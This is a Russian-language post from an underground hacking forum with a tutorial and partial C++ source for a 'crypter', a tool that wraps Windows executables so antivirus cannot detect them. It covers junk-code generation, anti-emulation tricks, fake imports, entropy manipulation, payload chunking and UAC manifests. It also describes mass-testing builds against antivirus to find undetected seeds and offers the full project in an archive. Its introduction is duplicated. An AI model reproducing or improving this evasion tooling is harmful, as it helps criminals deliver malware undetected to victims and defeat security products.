- Регистрация
- 31.12.2019
- Сообщения
- 7,552
- Реакции
- 36
Криптор - как много смысла заложено в этом понятии и как по-разному его понимают
.
Некоторые из нас застали времена первых попыток комьюнити подгрузить бинарные файлы в память с целью обхода сигнатурных детектов.
Сначала с помощью RunPE (через заморозку вновь созданного процесса и подмену контекста), позже разбирали один из первых pe загрузик от Great'а
.
Кто-то наверняка помнит обсуждение этих вопросов в ветках на WASM, damagelab - эх романтика
Некоторым, более опытным мемберам статья будет полезной, т.к. познакомит с современными технологиями в области крипта и обфускации исполняемых файлов, углубит специализированные знания в этой области, позволит применить некоторые освещенные в статье техники в своих проектах.
Для мемберов с меньшим опытом, статья и код могут стать отличным подспорьем для изучения технологий обхода антивирусов и генерации кода и основанием для реализации своего проекта.
Сегодня я хотел бы рассказать вам о современных технологиях крипта исполняемых файлов, механизмах обнаружения со стороны анивирусов, о методах их обхода, о генерации кода и т.д.
Подкреплять слова буду кодом реального проекта, примерами и описанием происходящих внутри процессов при крипте.
В контексте статьи под понятием криптор понимается стек технологий и процессов, призванных скрыть бинарный файл (exe, dll) в среде Windows от антивирусных детектов и неопытных глаз ресерчеров.
В контексте статьи я не будут рассматриваться технологии Runpe, Process doppelganging - этого добра полно на гитхабе и на форумах уже достаточно.
В статье я расскажу о способах и предназначении генерации больших массивов файлов (сори крипт сервисы, если это был ваш приват
).
Не будет рассматриваться тип олдскульных пакеров\протекторов\крипотров, которые шифруют кодовую секцию целиком, добавляют декриптор в новую секцию и где-то в коде передают управление на декриптор, расшифровывают секцию кода, получая в памяти оригинальный файл.
Не будет дотнет крипторов, AutoIt, nsis и им подобных, сори
.
Начнем с простого:
Общая логика криптора, в самом простом виде заключается в шифровании оригинального файла, помещении его внутрь "стаба", подготовке функций и ключей расшифровки, формированию стаба.
Общая логика стаба заключается в поиске внутри себя сигнатуры буфера зашифрованного файла, его расшифровке, выделении памяти, настройке образа в памяти и передаче управления коду оригинального файла.
Под стабом понимается конечный исполняемый файл-контейнер, содержащий в себе криптованный файл, при запуске извлекающий его в памяти и запускающий из памяти.
Углубляемся:
Тут всё как всегда - вечная ********************а меча и щита:
Антивирусы используют технологии основанные на написании эвристических правил (эвристические и метасигнаурные движки), которые позволяют ставить generic (общие) сигнатуры на целые семейства крипторов.
* Создатели крипторов используют генерацию\добавление мусорного (не влияющего на ход исполнения общего алгоритма) кода.
Антивирусы используют технологии основанные на эмуляции кода внутри виртуальных сред (по сути пропускают через свой механизм эмуляции код стаба, наблюдая за действиями и формирую представление о действии кода) - по факту современные эмуляторы способны раскрутить практически любой код, расшифровав оригинальный скрываемый файл и обнаружить его.
* Создатели крипторов используют различные трюки призванные остановить\запутать антивирусный эмулятор и тем самым не дать ему понять реальные действия кода\расшифровать оригинальный файл.
Антивирусы используют технологии основанные на степени похожести криптованных файлов на файлы легитимных приложений (например наличие ресурсов: иконки, её расширения, адекватной версии инфо, манифеста и других) - по факту разветвление эвристических систем.
* Создатели крипторов используют различные технолгии кражи ресурсов с легитимных приложений и добавлении их в стабы\генерации правдоподобных ресурсов в целях запутывания анитивирусных эвристиков.
Антивирусы используют облачные технологии, основанные на репутации файлов и частоте их использования среди клиентов.
* Создатели крипторов прогоняют криптованные семплы на пачке подконтрольных виртуальных машин с установленными антивирусами, тем самым повышая репутацию файла.
и т.д. и т.п.
Для усложнения детекта криптованных файлов со стороны антивирусов, разработчики крипторов постоянно придумывают различные технолгии, призванные затруднить обнаружение криптованных файлов или увеличить время между обнаружением и добавлением сигнатур в базы.
Доказавшими свою эффективность являются например следующие технологии:
Углубляемся глубже:
Вершиной мастерства в крипте является генерация такого мусорного исполнимого кода, который неотличим от кода легитимных приложений, получившимся в результате компиляции на популярных компиляторах и сам по себе являлся бы крайне сложным для эмуляции (либо существенно затрудняющим эмуляцию, ограниченную по ресурсам и времени), с таким алгоритмом шифрования, ключ к которому вычисляется
за определенный заранее известный криптору промежуток времени, выходящего за таймаут антивирусного эмулятора и следовательно препятствующий получению оригинального загифрованного файла.
Тезисы, о том, каким я вижу хороший крипт:
Запоминая seed при генерации массивов файлов мы можем позже вернуться к удачным генерациям и использовать их в рекриптах разных файлов.
Получившийся массив файлов прогоняем на антивирусах и просеиваем на детекты - в результате получим список "чистых" сидов. Процесс легко автоматизируется.
И так что мы будем делать:
Мы создадим криптор на С++, который умеет генерировать стабы, (по факту это файлы исходного кода на языке си), в которые мы сложим буфер шифрованного файла, ключи расшифровки, фейковый импорт, ресурсы, сгенерированный мусорный код, код декриптора, шеллкод запуска.
Далее мы будем передавать такие файлы в компилятор Visual Studio, на выходе будем получать криптованные файлы.
Чтобы фундаментально управлять генерацией кода и знать что у нас возвращает каждая сгенерированная функция, переменная, нам нужно по сути эмулировать генерируемый код самим. (Это крутая задумка, можно применить в разных сферах, обязательно используйте её в своих проектах).
Подробнее смотрите файлы mCodeEmulator.cpp и mCodeExpression.cpp.
По факту он занимается тем, что генерирует текстовый вариант кода и тут же исполняет фактический машинный код, получая на выходе результат исполнения.
Это позволяет в коде использовать такие фишки как непрозрачные предикаты, устанавливать зависимости потока управления от результата исполнения кода.
Антивирусы не смогут просто свернуть код, например циклы, т.к. в результате этого они не получат какие-то значения переменных, от результата которых будет зависеть дальнейшее исполнение программы.
Пример эмуляции int8_int32:
Пример сравнения переменных в эмуляторе:
Сам код эмуляции можно увидеть в процедурах emulate, emulate_begin, emulate_end.
Начнем пожалуй в код самого криптора, передаем в криптор параметры входного, выходного файлов, а также конфиг и seed:
Проверяем пути, выводим полученные аргументы в консоль.
Если seed не указан (это нужно в случае точного воспроизведения прошлой генерации), в код стаба будет вписан случайный seed, например: Build seed: 0x0009922543757DD0.
Удаляем прошлую итерацию выходного файла (если есть).
Читаем буфер входного файла (который нужно криптовать) в переменную idata.
Проверяем базовые признаки PE фалйа:
DOS заголовок, DOS сигнатуру, NT заголовок, NT сигнатуру.
* Если вы совсем незнакомы с форматом PE файлов, то гуглите
Если получили на вход файла конфига, то читаем его.
Если нет, используем настройки по-умолчанию.
Устанавливаем конфигурации для генерации фейк импорта:
Настраиваем вероятности генерации ANSI и Unicode winApi.
Настраиваем параметры генерации кода:
Максимальные и минимальные значения блоков сгенерированного кода:
Настраиваем окружение для генерации стаба:
Создаем глобальные переменные, создаем пути для генерации и сохранения файлов, пример:
Передаем PID процесса и случайное имя.
Создаем параметры для компилятора, передаем путь до сгенерированной рабочей директории, буфер криптоуемого файла:
Создаем параметры генерации ресурсы для файла.
Создаем параметры генерации кода.
Создаем параметры генерации функций, передаем ранее сгенерированные глобалные переменные.
Настраиваем параметры стаба:
Проверям в заголовках файл DLL или EXE.
Настраиваем точку входа DllMain или WinMain.
Предусматриваем вариант генерации без CRT рантайм кода.
Предусматриваем вариант генерации под ANSI и Unicode.
Формируем генератор кода.
Формируем инициализатор генерации payload - по факту это алгоритм деления целого буфера на т.н. чунки (chunk), которые будут храниться внутри файла в разном случайном порядке (например части в секциях data, rdata, text, rsrc).
Настройка патчера (о его предназначении позже).
Настраиваем генерацию кода на точке входа, размер генерации блока мусорного кода.
Если дебажим криптор, то добавляем декриптор шеллкода (о его предназначении позже).
Настраиваем генератор кода, блоки генерации.
Если дебажим, добавляем выход до запуска криптованного файла (можно дебажить как генерацию кода, так и эмуляторы антивирусов).
Опционально настариваем выход после отработки пайлоада для EXE и DLL.
Выводим дебаг сообщение о времени генерации кода в секундах.
Генерируем ресурсы: manifest обходом UAC, версию инфо.
Настраиваем генерацию чунков (chunk) пайлоада.
Сохраняем сгенерированные ресурсы в rc файл. (он нужен чтобы студийчный компилятор принял сгененированные ресурсы и добавил в финальный файл).
В случае дебага мы сохраняем буфер патчера.
Приступаем непосредственно к генерации кода:
Добавляем заголовки файлов:
(я буду вырезать не относящийся к делу код, полная версия в архиве)
Добавляем библиотеки (libs):
Добавляем фейковый импорт по-умолчанию (fake import):
из COMCTL, USER32, GDI32, comdlg32, ADVAPI32
Фейк импорт формируется из показанных ниже winapi + winapi сгенерированных мусорным генератором.
Ваш хоум ворк расширить его и рандомизировать, благо движок позволяет сделать это легко и красиво.
Добавляем дефайны winapi функций с аргументами (чтобы позже обращаться и вывзывать фейк winapi в коде):
Закрываем буфер.
Добавляем в код стаба seed и некоторые рабочие дефайны и тейпдефы.
mem_zero, mem_copy, mem_set - для работы с памятью.
структура LDR_RESTORE_PARAMS для передачи внутрь шеллкода загрузчика в память.
Непосредственно процесс генерации чунков:
/*
0 - text before
1 - text after
2 - data
3 - rdata
*/
Нужно отметить, что чтобы использовать некоторые способы хранения чунков, приходится генерировать asm файл, сохранять буфер в функциях payload_n и позже линковать в итоговый файл.
Сам процесс разбора чунков смотрите в файле mPayloadChunks.cpp.
Движок способен контролировать и опционально менять энтропию чунков для регулирования целостной энтропии всего криптованного файла, что помогает обходить эвристики по статистическим детектам.
Пример передачи параметров в структуру восстановления чунков:
Для правильной работы загрузчика у итогового файла должны быть правильные виртуальные и физические размеры секций, выполняем настройку итоговых размеров:
Непосредственно расширяем размер секции rdata таким вот нехитрым триком:
Добавляем описание сгенерированных прототипов функций и результатов их исполнения:
Пример:
Сохраняем итоговый стаб в сформированной директории:
Финальные штрихи:
Генерируем пакетный файл с нужными нам параметрами для передачи компилятору и линкеру.
Отчитываемся о времени на генерацию файла.
Удаляем временные папки.
Чистим переменные, память.
А теперь самая интересная часть:
Формируем паттерны генерации связок winapi вызовов (это не тупой рандомный генеринг случайных winapi, это связки функций встречающиеся в реальном ПО.)
Например функция ReadFile без предварительного CreateFile вызовет агр у любого эвристика, правильные связки последовательностей winapi и аргументы заставляют эвристики молчать и добавлять балл к легитимности кода.
Структура с вероятными генерируемыми winapi. (Вы можете расширить их до бесконечности).
Движок криптора позволяет тонко настроить аргументы функций и диапазоны генерации для различных типов данных.
Можно очень глубоко настраивать генерацию и её опции:
Добавлен задел для некоторых winapi - расширяйте таблицу и код будет намного вариабельнее.
Движок позволяет генерировать winapi, принающие на вход целые структуры данных:
Обратим внимание на генерацию CreateFile, как видите можно контролировать даже уровни доступа.
Обратите внимание на реализацию примитивов в кодогенераторе: add_bits, add_shift, add_null, add_rand - это по истинце огромный потенциал для развития проекта.
Патчер - mOutputPatcher.cpp
Его главная задача промаркировать метки чунков для того чтобы шеллкод при сборке нашел их и восстановил оригинальный буфер в правильном порядке:
Подробнее смотрите функцию mOutputPatcher:atch_markers().
Если упростить, то на вход подаётся скомпилированный криптованный файл и сериализованный буфер криптованного файла в x64 - далее он патчит метки чунков в файле легитимными буферами.
Генерация ресурсов:
пример генерации версии инфо легитимными словами из списка, не абракадабра.
Добавьте сюда генерацию остальных ресурсов свойственным приложениям из под копилятора Visual Studio и вариативность таблицы ресурсов вырастет в разы.
Описание конфига криптора:
Сам конфиг:
config.ini
В файле ldr_restore.cpp у нас первый слой шеллкода.
Его задача восстановить чунки файла, расшифровать буфер, получить параметры структуры LDR_PE_LOADER_PARAMS и передать в загрузчик.
Как видите, в дебагере код выглядит вполне себе результативно и не отличается от точки входа любого легитимного приложения.
Играя параметрами кодогенератора на уровне конфига можно получить очень вариативный результат в неограниченном количестве.
* В целях дебага на данном примере аргументы winapi вызовов были установлены в NULL.
Поток управления на трех семплах:
* Сгенерированные для статьи семплы использовались с лайт конфигом, т.е. минимум генерации мусорного кода, вин апи. Можно отжать педаль в пол
p.s.
Файл wordlist.txt - список английских слов, используется во время генерации кода и ресурсов.
В файле readme.txt вас бонусом ждет мой небольшой список наблюдений по детектам
Файл солюшена и сам криптор собирался под 2013 студией, не должно быть проблемой собрать на более поздних.
В качестве компилятора используется урезанный компилятор из 2008 студии, можете поменять на более свежий.
Криптор умеет криптовать DLL\EXE х32\х64.
В целях противодействию ресейлу модифицированной версии криптора неблагонадежными персонами ввожу легкий антинуб пасс.
Пароль на архив: xss.is -> base64 -> reverse_str -> sha256
Ниже приведен пример сгенерированного кода.
Пример сгенерированного кода:
Пример сгенерированного и проэмулированного кода на точке входа:
Автор: Octavian
Некоторые из нас застали времена первых попыток комьюнити подгрузить бинарные файлы в память с целью обхода сигнатурных детектов.
Сначала с помощью RunPE (через заморозку вновь созданного процесса и подмену контекста), позже разбирали один из первых pe загрузик от Great'а
Кто-то наверняка помнит обсуждение этих вопросов в ветках на WASM, damagelab - эх романтика
Некоторым, более опытным мемберам статья будет полезной, т.к. познакомит с современными технологиями в области крипта и обфускации исполняемых файлов, углубит специализированные знания в этой области, позволит применить некоторые освещенные в статье техники в своих проектах.
Для мемберов с меньшим опытом, статья и код могут стать отличным подспорьем для изучения технологий обхода антивирусов и генерации кода и основанием для реализации своего проекта.
Сегодня я хотел бы рассказать вам о современных технологиях крипта исполняемых файлов, механизмах обнаружения со стороны анивирусов, о методах их обхода, о генерации кода и т.д.
Подкреплять слова буду кодом реального проекта, примерами и описанием происходящих внутри процессов при крипте.
В контексте статьи под понятием криптор понимается стек технологий и процессов, призванных скрыть бинарный файл (exe, dll) в среде Windows от антивирусных детектов и неопытных глаз ресерчеров.
В контексте статьи я не будут рассматриваться технологии Runpe, Process doppelganging - этого добра полно на гитхабе и на форумах уже достаточно.
В статье я расскажу о способах и предназначении генерации больших массивов файлов (сори крипт сервисы, если это был ваш приват
Не будет рассматриваться тип олдскульных пакеров\протекторов\крипотров, которые шифруют кодовую секцию целиком, добавляют декриптор в новую секцию и где-то в коде передают управление на декриптор, расшифровывают секцию кода, получая в памяти оригинальный файл.
Не будет дотнет крипторов, AutoIt, nsis и им подобных, сори
Начнем с простого:
Общая логика криптора, в самом простом виде заключается в шифровании оригинального файла, помещении его внутрь "стаба", подготовке функций и ключей расшифровки, формированию стаба.
Общая логика стаба заключается в поиске внутри себя сигнатуры буфера зашифрованного файла, его расшифровке, выделении памяти, настройке образа в памяти и передаче управления коду оригинального файла.
Под стабом понимается конечный исполняемый файл-контейнер, содержащий в себе криптованный файл, при запуске извлекающий его в памяти и запускающий из памяти.
Углубляемся:
Тут всё как всегда - вечная ********************а меча и щита:
Антивирусы используют технологии основанные на написании эвристических правил (эвристические и метасигнаурные движки), которые позволяют ставить generic (общие) сигнатуры на целые семейства крипторов.
* Создатели крипторов используют генерацию\добавление мусорного (не влияющего на ход исполнения общего алгоритма) кода.
Антивирусы используют технологии основанные на эмуляции кода внутри виртуальных сред (по сути пропускают через свой механизм эмуляции код стаба, наблюдая за действиями и формирую представление о действии кода) - по факту современные эмуляторы способны раскрутить практически любой код, расшифровав оригинальный скрываемый файл и обнаружить его.
* Создатели крипторов используют различные трюки призванные остановить\запутать антивирусный эмулятор и тем самым не дать ему понять реальные действия кода\расшифровать оригинальный файл.
Антивирусы используют технологии основанные на степени похожести криптованных файлов на файлы легитимных приложений (например наличие ресурсов: иконки, её расширения, адекватной версии инфо, манифеста и других) - по факту разветвление эвристических систем.
* Создатели крипторов используют различные технолгии кражи ресурсов с легитимных приложений и добавлении их в стабы\генерации правдоподобных ресурсов в целях запутывания анитивирусных эвристиков.
Антивирусы используют облачные технологии, основанные на репутации файлов и частоте их использования среди клиентов.
* Создатели крипторов прогоняют криптованные семплы на пачке подконтрольных виртуальных машин с установленными антивирусами, тем самым повышая репутацию файла.
и т.д. и т.п.
Для усложнения детекта криптованных файлов со стороны антивирусов, разработчики крипторов постоянно придумывают различные технолгии, призванные затруднить обнаружение криптованных файлов или увеличить время между обнаружением и добавлением сигнатур в базы.
Доказавшими свою эффективность являются например следующие технологии:
- Генерация реалистичного исполняемого, но не изменяющего логику алгоритма кода - такой код бывает разным по степени сложности реализации и эффективности во время исполнения, а так же реалистичности (подобности коду реальных приложений) и реагирования на него со стороны антивирусов.
- Использование антиэмуляционных трюков - способы антиэмуляции совершенствуются параллельно алгоритмам эмуляции и увеличению средних вычислительных мощностей пользовательских ПК.
- Использование технологий основанных на нарушении статистических признаков в целях припятствию алгоритмическому обнаружению - самый простой пример это изменение энтропии зашифрованного буфера файла, с целью выровнять его и привести к среднему значению, подобному легитимным приложениям.
Углубляемся глубже:
Вершиной мастерства в крипте является генерация такого мусорного исполнимого кода, который неотличим от кода легитимных приложений, получившимся в результате компиляции на популярных компиляторах и сам по себе являлся бы крайне сложным для эмуляции (либо существенно затрудняющим эмуляцию, ограниченную по ресурсам и времени), с таким алгоритмом шифрования, ключ к которому вычисляется
за определенный заранее известный криптору промежуток времени, выходящего за таймаут антивирусного эмулятора и следовательно препятствующий получению оригинального загифрованного файла.
- Почитать о рассуждениях мемберов по этому вопросу можно в этой статье.
- Почитать о замыкании генерируемого кода на антиэмулятор можно в этом топике.
Тезисы, о том, каким я вижу хороший крипт:
- Итоговый криптованный файл должен быть неотличим от легитимного приложения как на уровне статистики - энтропия, соотношение секций, код на точке входа, так и на уровне адекватности сгенерированного кода и даже ресурсов.
- Хороший крипт должен быть максимально "плавающим", т.е. два криптованных файла должны максимально отличаться, как на уровне кода, ключей шифрования, сгенерированному коду, ресурсам, чтобы антивирусам было максимально сложно поставить generic детект, не создав фолзов (false positive - ложных срабатываний).
- Хороший криптор должен уметь завязывать все процессы генерации всех элементов на seed (зерно инициализации генератора случайных чисел - prng - pseudo random numbers generenation).
- Хороший криптор должен уметь криптовать как EXE так и DLL, причем x86\x64.
- Декриптор в хорошем крипторе должен генерироваться случайным образом и разбавляться мусорным кодом, чтобы было максимально сложно повесить сигнатуру.
- Хранение шифрованного буфера в хорошем крипторе должно быть вариабельным, не стандартным, криптор должен уметь раскладывать буфер по секциям (.text, .data, .rdata) в случайных пропорциях, возможно иногда класть часть буфера в ресурсы или оверлей, регулировать энтропию блоков.
- Таблица импорта в криптованном файле должна быть адекватной, похожей на таблицу импорта легитимного приложения по количеству\вероятности встречаемости модулей\WINAPI функций.
- Параметры должны быть конфигурируемыми - это нужно для того, чтобы генерировать не один криптованный файл, а массивы файлов (сотни и тысячи).
Запоминая seed при генерации массивов файлов мы можем позже вернуться к удачным генерациям и использовать их в рекриптах разных файлов.
Получившийся массив файлов прогоняем на антивирусах и просеиваем на детекты - в результате получим список "чистых" сидов. Процесс легко автоматизируется.
И так что мы будем делать:
Мы создадим криптор на С++, который умеет генерировать стабы, (по факту это файлы исходного кода на языке си), в которые мы сложим буфер шифрованного файла, ключи расшифровки, фейковый импорт, ресурсы, сгенерированный мусорный код, код декриптора, шеллкод запуска.
Далее мы будем передавать такие файлы в компилятор Visual Studio, на выходе будем получать криптованные файлы.
Чтобы фундаментально управлять генерацией кода и знать что у нас возвращает каждая сгенерированная функция, переменная, нам нужно по сути эмулировать генерируемый код самим. (Это крутая задумка, можно применить в разных сферах, обязательно используйте её в своих проектах).
Подробнее смотрите файлы mCodeEmulator.cpp и mCodeExpression.cpp.
По факту он занимается тем, что генерирует текстовый вариант кода и тут же исполняет фактический машинный код, получая на выходе результат исполнения.
Это позволяет в коде использовать такие фишки как непрозрачные предикаты, устанавливать зависимости потока управления от результата исполнения кода.
Антивирусы не смогут просто свернуть код, например циклы, т.к. в результате этого они не получат какие-то значения переменных, от результата которых будет зависеть дальнейшее исполнение программы.
Пример эмуляции int8_int32:
Код:
void EM_CALLING emulate_int8_int32(PINT8 left, CODE_EXPRESSION_OPERATORS Operator, PINT32 right)
{
switch( Operator )
{
case CEO_SUB: *left -= *right; break;
case CEO_ADD: *left += *right; break;
case CEO_MUL: *left *= (*right); break;
case CEO_DIV: *left /= (*right); break;
case CEO_MOD: *left %= (*right); break;
case CEO_XOR: *left ^= *right; break;
case CEO_OR: *left |= *right; break;
case CEO_AND: *left &= *right; break;
case CEO_SAL: *left <<= *right; break;
case CEO_SAR: *left >>= *right; break;
case CEO_EQUAL: *left = *right; break;
}
}
Пример сравнения переменных в эмуляторе:
Код:
int mCodeExpressionEmulator::compare(PVOID left, MVAR_TYPE right_type, PVOID right)
{
switch( right_type )
{
case MVT_UINT8:
case MVT_UINT16:
case MVT_PUINT8:
case MVT_PUINT16:
case MVT_PINT8:
case MVT_PINT16:
case MVT_PINT32:
case MVT_INT8:
case MVT_INT16:
case MVT_INT32:
if( *(PINT32)left==*(PINT32)right )
return 0;
if( *(PINT32)left > *(PINT32)right )
return 1;
return -1;
case MVT_PUINT32:
case MVT_UINT32:
if( *(PUINT32)left==*(PUINT32)right )
return 0;
if( *(PUINT32)left > *(PUINT32)right )
return 1;
return -1;
case MVT_PINT64:
case MVT_INT64:
if( *(PINT64)left==*(PINT64)right )
return 0;
if( *(PINT64)left > *(PINT64)right )
return 1;
return -1;
case MVT_PUINT64:
case MVT_UINT64:
if( *(PUINT64)left==*(PUINT64)right )
return 0;
if( *(PUINT64)left > *(PUINT64)right )
return 1;
return -1;
}
}
Сам код эмуляции можно увидеть в процедурах emulate, emulate_begin, emulate_end.
Начнем пожалуй в код самого криптора, передаем в криптор параметры входного, выходного файлов, а также конфиг и seed:
Код:
void _tmain(int argc, PTCHAR argv[])
{
if( argc < 3 )
{
_tprintf(_T("Usage: %s <in_file> <out_file> [<seed>] [<config_file>]"), basename(argv[0]));
return;
}
int arg_i = 0;
PWCHAR arg_in = 0, arg_out = 0, arg_seed = 0, arg_config = 0;
PWCHAR arg_out_seed = 0;
//==========================================================
// parse commandline
//==========================================================
for (arg_i = 0; arg_i<argc; arg_i++)
{
if (wcscmp(argv[arg_i], L"-in") == 0) arg_in = argv[arg_i + 1];
if (wcscmp(argv[arg_i], L"-out") == 0) arg_out = argv[arg_i + 1];
if (wcscmp(argv[arg_i], L"-cfg") == 0) arg_config = argv[arg_i + 1];
if (wcscmp(argv[arg_i], L"-seed") == 0) arg_seed = argv[arg_i + 1];
};
printf("\n IN : %S", arg_in);
printf("\n OUT: %S", arg_out);
printf("\n CFG: %S", arg_config);
printf("\n DNA: %S", arg_seed);
printf("\n input seed: 0x%I64X \n", genSeed);
if (arg_seed)
{
swscanf(arg_seed, L"0x%I64X", &genSeed);
random.set_seed(genSeed);
}
origSeed = random.get_seed();
StringReplace(arg_out, L".exe", L"");
int n = wcslen(arg_out);
swprintf(&arg_out[n], L"_0x000%I64X.exe", origSeed);
printf("\n OUT: %S \n", arg_out);
Проверяем пути, выводим полученные аргументы в консоль.
Если seed не указан (это нужно в случае точного воспроизведения прошлой генерации), в код стаба будет вписан случайный seed, например: Build seed: 0x0009922543757DD0.
Удаляем прошлую итерацию выходного файла (если есть).
Код:
// check absolute path, if no convert
if( arg_out && arg_out[1]!=_T(':') )
{
PTCHAR path = (PTCHAR)halloc(MAX_PATH*sizeof(TCHAR));
DWORD length = GetCurrentDirectory(MAX_PATH, path);
if( arg_out[0]!=_T('/') && arg_out[0]!=_T('\\') )
{
lstrcat(path,_T("\\"));
}
lstrcat(path, arg_out);
arg_out = path;
}
_tprintf(_T("Input: %s\n"), arg_in);
_tprintf(_T("Output: %s\n"), arg_out);
if( arg_config )
_tprintf(_T("Config: %s\n"), arg_config);
_tprintf(_T("Seed: 0x%0.8X%0.8X\n"), (DWORD)(random.get_seed() >> 32), (DWORD)random.get_seed());
DeleteFile(arg_out);
Читаем буфер входного файла (который нужно криптовать) в переменную idata.
Проверяем базовые признаки PE фалйа:
DOS заголовок, DOS сигнатуру, NT заголовок, NT сигнатуру.
* Если вы совсем незнакомы с форматом PE файлов, то гуглите
Код:
PMBUF idata = file_get_contents(arg_in);
if( !idata )
{
#ifdef _DEBUG
// __debugbreak();
#endif
_tprintf(_T("Error: Can not load %s file!"),arg_in);
return;
}
PIMAGE_DOS_HEADER orig_dos = (PIMAGE_DOS_HEADER)file2image(idata->data);
if( orig_dos->e_magic!=IMAGE_DOS_SIGNATURE )
{
_tprintf(_T("Error: file not have dos signature!\r\n"));
return ;
}
PIMAGE_NT_HEADERS orig_nt = (PIMAGE_NT_HEADERS)((DWORD_PTR)orig_dos + orig_dos->e_lfanew);
if( orig_nt->Signature!=IMAGE_NT_SIGNATURE )
{
_tprintf(_T("Error: file not have nt signature!\r\n"));
return ;
}
Если получили на вход файла конфига, то читаем его.
Если нет, используем настройки по-умолчанию.
Код:
mConfigLoader cfg_loader(&config, orig_dos);
if( arg_config )
{
if( !cfg_loader.load_from_file(arg_config) )
{
_tprintf(_T("Error: config load error. %s\n"), cfg_loader.get_error());
#ifdef _DEBUG
__debugbreak();
#endif
return;
}
}else{
cfg_loader.load_default();
}
Устанавливаем конфигурации для генерации фейк импорта:
Настраиваем вероятности генерации ANSI и Unicode winApi.
Код:
import.load_config();
if( random.get_less(0,1) )
{
import.set_procs_type(IPT_A);
}else{
import.set_procs_type(IPT_W);
}
Настраиваем параметры генерации кода:
Максимальные и минимальные значения блоков сгенерированного кода:
Код:
max_build_procs = random.get_less(config.code.block_call.count.min, config.code.block_call.count.max);
Настраиваем окружение для генерации стаба:
Создаем глобальные переменные, создаем пути для генерации и сохранения файлов, пример:
Код:
INT16 glob0 = 0x006D;
UINT16 glob1;
UINT16 glob2 = 0x0D6C;
INT8 glob3 = 0x2E;
INT32 glob4;
UINT8 glob5 = 0x78;
PINT8 glob6;
UINT32 glob7 = 0x00007D5B;
PINT32 glob8;
UINT8 glob9;
UINT32 glob10 = 0x0000906F;
UINT64 glob11 = 0x00701486C7505836;
INT16 glob12;
UINT8 glob13 = 0xDF;
INT8 glob14 = 0x0B;
UINT16 glob15;
INT8 glob16 = 0x01;
UINT16 glob17 = 0x0BAF;
INT16 glob18 = 0x04BB;
Передаем PID процесса и случайное имя.
Код:
mVars globals(VARS_TYPE_GLOBALS, NULL);
mPathBuilder path_builder(pid, rand_name);
// create uniq tmp folder in tmp/ for build, all cpp, bat, rc, res will be in it
if( !path_builder.create_tmp_folder() )
return;
Создаем параметры для компилятора, передаем путь до сгенерированной рабочей директории, буфер криптоуемого файла:
Создаем параметры генерации ресурсы для файла.
Создаем параметры генерации кода.
Создаем параметры генерации функций, передаем ранее сгенерированные глобалные переменные.
Код:
mCompiler compiler(&path_builder, idata->data);
mResourceBuilder resource(&path_builder);
mCode stub(0xFFFF);
mFunction ep(&globals);
Настраиваем параметры стаба:
Проверям в заголовках файл DLL или EXE.
Настраиваем точку входа DllMain или WinMain.
Предусматриваем вариант генерации без CRT рантайм кода.
Предусматриваем вариант генерации под ANSI и Unicode.
Код:
if( orig_nt->FileHeader.Characteristics & IMAGE_FILE_DLL )
{
ep.set_return(MVT_BOOL);
ep.set_convention(FC_STDCALL);
if( config.not_use_crt_stub )
{
ep.set_name("NostubDllMain");
compiler.set_entry_point("NostubDllMain");
}else{
ep.set_name("DllMain");
}
ep.add_formal(MVT_HINSTANCE, "hInstance" , MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
ep.add_formal(MVT_UINT32, "Reason", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
ep.add_formal(MVT_UINT32, "Reserved", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
}else{
ep.set_return(MVT_INT32);
ep.set_convention(FC_STDCALL);
if( config.not_use_crt_stub )
{
ep.set_name("NostubWinMain");
compiler.set_entry_point("NostubWinMain");
}else{
if( import.get_procs_type()==IPT_A )
{
ep.set_name("WinMain");
}else{
ep.set_name("wWinMain");
}
ep.add_formal(MVT_HINSTANCE,"hInstance" , MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
ep.add_formal(MVT_HINSTANCE,"hPrevInstance", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
if( import.get_procs_type()==IPT_A )
{
ep.add_formal(MVT_PCHAR, "cmdLine", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
}else{
ep.add_formal(MVT_PWCHAR, "cmdLine", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
}
ep.add_formal(MVT_INT32, "cmdCount", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
}
}
Формируем генератор кода.
Формируем инициализатор генерации payload - по факту это алгоритм деления целого буфера на т.н. чунки (chunk), которые будут храниться внутри файла в разном случайном порядке (например части в секциях data, rdata, text, rsrc).
Настройка патчера (о его предназначении позже).
Код:
mCode gen_code(0xFFFF);
mPayloadChunks payload;
mOutputPatcher patcher(arg_out);
Настраиваем генерацию кода на точке входа, размер генерации блока мусорного кода.
Если дебажим криптор, то добавляем декриптор шеллкода (о его предназначении позже).
Код:
PMCODE_BLOCK continue_block = ep.generate(config.code.blocks.count.min,config.code.blocks.count.max, IS_START_EP);
// add shellcode decryptor
#ifndef CONFIG_DEBUG_EMULATOR
add_decryptor(ep.get_code_generator(), continue_block, &patcher, idata, &payload);
#endif
Настраиваем генератор кода, блоки генерации.
Если дебажим, добавляем выход до запуска криптованного файла (можно дебажить как генерацию кода, так и эмуляторы антивирусов).
Опционально настариваем выход после отработки пайлоада для EXE и DLL.
Код:
mCodeLines lines(ep.get_code_generator(), continue_block);
// add extend data, to resize image, because crypted_image_size >= orig_image_size
#ifdef CONFIG_DEBUG_EMULATOR
lines.add("ExitProcess(0);\r\n");
#endif
if( orig_nt->FileHeader.Characteristics & IMAGE_FILE_DLL )
{
lines.add_ex(MCODELINE_FLAG_NO_TRASH, "return TRUE;\r\n");
}else{
ep.set_return(MVT_INT32);
}
Выводим дебаг сообщение о времени генерации кода в секундах.
Генерируем ресурсы: manifest обходом UAC, версию инфо.
Настраиваем генерацию чунков (chunk) пайлоада.
Сохраняем сгенерированные ресурсы в rc файл. (он нужен чтобы студийчный компилятор принял сгененированные ресурсы и добавил в финальный файл).
Код:
dbg(_T("Generation time: %d sec\n"), dbg_tget());
dbg_tset();
resource.generate_manifest_uac(); // create uac data
resource.generate_version_info();
PMPAYLOAD_CHUNK chunk;
if( ldr_restore_compiled && (chunk = payload.get_chunk(PAYLOAD_CHUNK_RCDATA)) )
{
PMBUF all_data = (PMBUF)mem_alloc(ldr_restore_compiled->size + chunk->entr_size);
if( all_data )
{
mem_copy(all_data->data, ldr_restore_compiled->data, ldr_restore_compiled->size);
